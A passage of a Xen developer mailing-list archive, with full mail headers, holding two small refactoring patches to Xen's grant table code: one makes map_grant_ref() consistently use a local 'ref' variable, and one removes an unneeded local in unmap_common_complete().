 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:51:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woiDQ-00EYdu-I1
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:51:28 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b3d4-e002-0a2a0a5209dd-0a2a4505de42-46
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:51:28 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b3e0-4cb1-0a2a45050019-d155802bb802-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:51:28 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-496bb7cdf51so23621965e9.2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:28 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957bffc501sm250222935e9.4.2026.07.28.06.51.26
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:51:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785246688; x=1785851488; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=Mw7VsvfNJTXTcegWX2idkXl4Jj1/NWvy2zHyn00rWXA=;
        b=EuUOjQSwyOnANwlE/lyXstis7npwmig/W788G+QJaYNXFDPb0JjJJS8Yd2w61BgM92
         3BLP1tmDgVG+49+0SH4wZ+99GLk5CFxvg50iVW8Ec0lIaON4TcTfeVR8Qr9yudP1FsIi
         PfrJkWlr0QcQzjWExR83RxZ+C3jzmyAMo84RnEZ2w6655mjBeJxAwjdco2+E62tUn8ZS
         l8kpTF5jpe0CVzO4E2y+CMfiukxsyAeOPwEFIH9+zNGW89thpVfFCSHjkjKEAX7YtIkl
         UU3T6WiY1XheUSTZxIpWopFZYVxKvs5ayg5NRrmbpLc6pkv/Zkl0GyE0agjB5pg4v1OO
         /5Ow==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785246688; x=1785851488;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=Mw7VsvfNJTXTcegWX2idkXl4Jj1/NWvy2zHyn00rWXA=;
        b=hsHHfOz+U7BZOiQBZzFSlhw2MJjU3KnsECPTgsrnvO5MsiqIba6Gn76+wZNk2D+Jx2
         /044yTRvUSZnL8bUXMvuFD+2j+eNznKxcY4Kf94iGffgIJ6iqb/636sdiGVh6mNAenKa
         jPXafp5zstPgDvRs87P5ony8ZEL3zjsJzts5so6GITeRUNR1GbJqu5lNypwxo/HAThcH
         uJKX6IAmc0fZgS6rh0RouL8KHAS6c7gx6B+7Ve0sqfCoQAbrfKbWsIdNtz1Exrwmc84v
         Gvm+Js4Se4Q+OpESVb7feky6vNGQEAQl3oyZcZb80FLjXXb+IA4khIIaf96zk74q0vhp
         99aA==
X-Gm-Message-State: AOJu0YwoYKBpyeAa1Z1JtX9tKr8b3DF0ERImt+TLDbaOYn6kqKvaz37k
	Rbta8hjdQXCo4tLKiM/9m+B0dZL7yshU9RRZ1lIdfbSBeDJuuCf1kb5rJvbzhNXxp3XXA9E0BNR
	Ckb4QTA==
X-Gm-Gg: AR+sD119CEJwr9RdV2CvYzhSxJabSHc4XoCD3jcfimzPAr2c5N4N491XPMEHeBEzN4x
	pBfeG9UHqVnqSpkDlJSMAhEXH2XlJZerFr6mj7x8uKnhx8GaG8bCbVLVplPJgTfIS4dmBf/pZUd
	2tt9IAiB0rZmo6qCgRhafS7RujaQ1qxxQhTQhVn4lgoobJklAg0hthmLYFeflR/Bc3jztcRGZWH
	pNtM/kuaLo15A+ceNGh7rfQUpO6bbyav6QzHcfqLe4K/355pSXRgfgyDU35xutp2ZrQQXvrwc6y
	uIwxuDTcKR7xCjKBCm7FymjVlPoMgEcDlTkirj9gUsRYnKQ57bjjj0vcc4kb66BOx5DIWC2LkCj
	hN4lR3VNxEnuteZmDZM0xFjVA4QQMWtkhLPjLlkWgzCWy7uFyVAEMLLUHN15JzhJOGWKhogt76+
	rbZbJyb9OMn8SGv9KBfw7Y+KdJjdbI2tNQ/+7v15Ocj6i+9dgHzPBWtRgs4WZuU2EIJw==
X-Received: by 2002:a05:600c:3e18:b0:495:71fc:3a64 with SMTP id 5b1f17b1804b1-496c6569058mr27439655e9.25.1785246688035;
        Tue, 28 Jul 2026 06:51:28 -0700 (PDT)
Message-ID: <47051ab0-fce2-4c9d-8e45-ab4b598fc2ee@suse.com>
Date: Tue, 28 Jul 2026 15:51:26 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 4/7] gnttab: use available local var in map_grant_ref()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>
References: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1785246688-6BEB92A1-013C0595/0/0
X-purgate-type: clean
X-purgate-size: 746

Commit a62776332cac ("grant_table: harden bound accesses") introduced a
local variable "ref" in map_grant_ref(), but then didn't use it
consistently throughout the function.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/common/grant_table.c
+++ b/xen/common/grant_table.c
@@ -1324,7 +1324,7 @@ map_grant_ref(
      */
     mt = &maptrack_entry(lgt, handle);
     mt->domid = op->dom;
-    mt->ref   = op->ref;
+    mt->ref   = ref;
     smp_wmb();
     write_atomic(&mt->flags, op->flags);
 
@@ -1366,7 +1366,7 @@ map_grant_ref(
             status = NULL;
     }
 
-    act = active_entry_acquire(rgt, op->ref);
+    act = active_entry_acquire(rgt, ref);
     act->pin -= pin_incr;
 
  unlock_out_clear:



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:51:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:51:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374265.1621307 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiDn-0007gt-L6; Tue, 28 Jul 2026 13:51:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374265.1621307; Tue, 28 Jul 2026 13:51:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiDn-0007gl-H6; Tue, 28 Jul 2026 13:51:51 +0000
Received: by outflank-mailman (input) for mailman id 1374265;
 Tue, 28 Jul 2026 13:51:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woiDm-0007f2-Ja
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:51:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woiDm-00BRgj-01
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:51:50 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b3f0-bab6-0a2a0a5309dd-0a2a45029e8c-44
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:51:49 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b3f5-6ca4-0a2a45020019-d155802cf133-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:51:49 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-49548aebcd8so28917165e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:49 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c44afaecsm91547275e9.2.2026.07.28.06.51.48
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:51:48 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785246709; x=1785851509; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=wUqQLSl9FHIBU5/My3xhEwCWgDaa9Jd42rl/ByxW6kQ=;
        b=MxvLZcwYmXivdiEQumix3L4dVZYhRuaBkGWx1Q0ZJ2vSeX+dhOE5YEE/eooQds258U
         YyaQqYA9FZmDV0IWbtJV3dVjclYm2wsSFUGXGgM4W5wVKvO/I8HtXQGO9gk79WmDStz1
         yqmCNw1jqa+Kodz9+4uSwvyZxcC+oQmp2HYuOmDPkoyBcAv3Ucfzl6ePkHtm3JtbUegH
         Od42ISpvp6v6uDh25Wbz22LTpoo+PGS5ornvpPVF3YHKIVdGYHNvt1Cw4BIa06Y4TPKz
         Y9jyhtVrRpEW7xOAxh+K/e5GzqI3AqL8Pwk3QmUFtYdWiGS/eH0sxgnDlm6kS3lfgdI+
         oO1A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785246709; x=1785851509;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=wUqQLSl9FHIBU5/My3xhEwCWgDaa9Jd42rl/ByxW6kQ=;
        b=OACL3oI/a3TUastLxURcz57PK5RapGvVRLuSiwY7GpO1cItA6y7hlrf6dy8dQ3xBe/
         A3D2a+WwNGY/bh3zFV9GzjI/OoByI/nj7nREMFSUzM7hYIicVy8xqY1RUJIuFR+fCvi7
         NpNLWqD42r7jASqn8V/qRIY5DvLCuU2gKKsT6oHH9h+ODWNJZaH8jlssLhjn/u9Tjhl9
         kDOFTMwIBPDFNTMv4dXTB3O57QwDUuUCHfK35yBuK5ZZjdxqLh0VQCjcG1si9smCIQL2
         Z7tVIBHNOBNjZ45xe8+eN38G+bB+07ybduo790jE+ySL1dtAjIjMFDZf5hfRNXkQBY2D
         TiYA==
X-Gm-Message-State: AOJu0YyiMqzjyJ5yKuuNRniFSapYwK+qCCiC9NMyhMO36G0eAswy0uPy
	PoEuQ0cnQCgOjtpUdEDj9fdcg2xcIKH/WM2BBz286Deme+I9N4/TaIbvyOmJ5QJl6QYUBo6Kc99
	Qpzm2Xg==
X-Gm-Gg: AR+sD11U+800tUHHQ9dohDwBMnTsHFMNOiBEXZfvBFH24GuKcRIy5euEavIuND5lJHg
	oqqoiXtyu9mHGvYsaJnJrIebEEiPf9jWQJFYJYXhKPDg+u093ohpQVwxDgpT1tvH+uYm78z4TtC
	z0+BXI0/QYoZ8xq165J7pt+IJdsMRPqEwBTd4OJBXRu5VsDt30EiVpyt+6BGTMgWjubMox8P4J0
	EHhqjtosN2ejaA2aBjbdNl+u6ROEwgo4eqwy/XdDkAOqVM8fpbjvU0TtQtid/+o7QhoapE2eu8g
	wwrX3JMbB5MHrV+5H16wUPXgsGPYrGmgcGTh8LEdYzOqcVFrabU5xnj5GA8llp6VUpOgEuygolK
	IcSvwA3UQ7wws+bst9mAITW0LDL8ymraPS0KPvk/VNb6DCoVuIvji6p99/hmSDUOy2bFPmxs5/Y
	FcwHtWi2tI3ytNL0SxEyLODBR8Jw9fDReViUO7bai2plnzvQ/byXnNrscqWyZM/3qqsw==
X-Received: by 2002:a05:600c:3f10:b0:495:7278:95c3 with SMTP id 5b1f17b1804b1-496c657de59mr26303885e9.26.1785246709449;
        Tue, 28 Jul 2026 06:51:49 -0700 (PDT)
Message-ID: <6e9d7bc5-3e1d-4262-b806-e59595f3584f@suse.com>
Date: Tue, 28 Jul 2026 15:51:47 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 5/7] gnttab: drop local "ld" from unmap_common_complete()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>
References: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785246709-668B42AC-45990A5F/0/0
X-purgate-type: clean
X-purgate-size: 1080

It's used exactly once, and even then only conditionally. No need to
establish the value in all cases.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/common/grant_table.c
+++ b/xen/common/grant_table.c
@@ -1606,7 +1606,7 @@ unmap_common(
 static void
 unmap_common_complete(struct gnttab_unmap_common *op)
 {
-    struct domain *ld, *rd = op->rd;
+    struct domain *rd = op->rd;
     struct grant_table *rgt;
     struct active_grant_entry *act;
     struct page_info *pg;
@@ -1618,8 +1618,6 @@ unmap_common_complete(struct gnttab_unma
         return;
     }
 
-    ld = current->domain;
-
     rcu_lock_domain(rd);
     rgt = rd->grant_table;
 
@@ -1656,7 +1654,7 @@ unmap_common_complete(struct gnttab_unma
         if ( pg )
         {
             if ( gnttab_host_mapping_get_page_type(op->done & GNTMAP_readonly,
-                                                   ld, rd) )
+                                                   current->domain, rd) )
                 put_page_type(pg);
             put_page(pg);
         }



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:52:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:52:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374276.1621316 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiEM-0008LH-0e; Tue, 28 Jul 2026 13:52:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374276.1621316; Tue, 28 Jul 2026 13:52:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiEL-0008LA-U8; Tue, 28 Jul 2026 13:52:25 +0000
Received: by outflank-mailman (input) for mailman id 1374276;
 Tue, 28 Jul 2026 13:52:24 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woiEK-0008Kr-Dx
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:52:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woiEJ-00EYkd-Qe
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:52:23 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b404-bab6-0a2a0a5309dd-0a2a4503b880-48
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:52:23 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b417-fae8-0a2a45030019-d155dd33a4c1-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:52:23 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-4758bd3731bso933323f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:52:23 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85bb5127sm55034291f8f.10.2026.07.28.06.52.22
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:52:22 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785246743; x=1785851543; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=sjq1+NwUBvPK4RcSVOHsjrwrht1DWC2Q5O4CPfABIqM=;
        b=SI24Np5LbKlGkAOBvdOjHPyut1L+LTj+lwci/uT4FXx1Mnot569uAQDKVtbhxg1I+E
         UESOCeVLPdUYkR6zClhQkaDMCa4HCoG1F4sWs1mR+ova2p5gzxNqmjMb2zleGk+DR5lK
         352DtF7tLd2aSShooPHmfX7GI8Xig+YiEyJ9konI24lhPXChVPFJs14se4BdWJRK5nJf
         lTFO7FpgK84j9lRf5AP7nRS+ARoDYmgEH7DyKgDeE9TE828Sqjhwd6eC8jmBAoAZRfri
         KgsVA4B//qNML7pUgwcbldks2HZkWttROlV/hs8DhVEMicRmXSN8qNlcVDsDSaOlIWiI
         x3Qw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785246743; x=1785851543;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=sjq1+NwUBvPK4RcSVOHsjrwrht1DWC2Q5O4CPfABIqM=;
        b=nn3S87g/JNj8W4DGU3lO3MKJbTmWORa9lxLLcUoRZi1fAI1fA65xkqbz2prI4FsB3V
         gZ2FOy5yZyWZLyPSWYr4yRZHfbTXbQdQD/bitdLR6h9F0J1M6dNeVDWp4O8Zj+lOesIf
         QIiDoCynu41tq5+KgS9xZtfkc19K5b7GuILn3UJG/Rj8Yqq5ZXCcEe8MKD9id42UaumZ
         u5uN18tn8clZXKb8wID5qfsH+RpN150CqWM6dIfmvmGg7LC79TT78g0OJ14dlRAprFCp
         ++xY976qDt15F0W9HACbdQfmoRDbNEMPaubBQVoe5QihoNHQ9ekhUaym6qXefxqVlbei
         hUFA==
X-Gm-Message-State: AOJu0YygVgnW6fWpTwuUqjJ/+/mwvt9QwgG2oRmXETa0zW2h/yYDy+o6
	6qzeUImv3BkgkcYu7NJh8QVCm4O9BZRXzdFg3E8dbaC8fbI78YmrDNGn3KSrI0GPuxmm4bRGew/
	Q/bpheA==
X-Gm-Gg: AR+sD110HPKcig49NX3hHHy8skT4hCPZfZHPWqQj16ERunzY+4+QWXI66m2g/1KQREV
	NhLv+G5TNL8GxPa8LxyZT5kLqPK7aouQ1WCoSj8hi7m97cSBZQptT7dbrFZqvjDOxKn8C6X47qC
	ES6MGqJUNPwRntWj6a3/J57Jm0wNg4auSCVQ9YLg3mFZYQVx9z5aq4ALhks6rdoLZJUpKfGbcBq
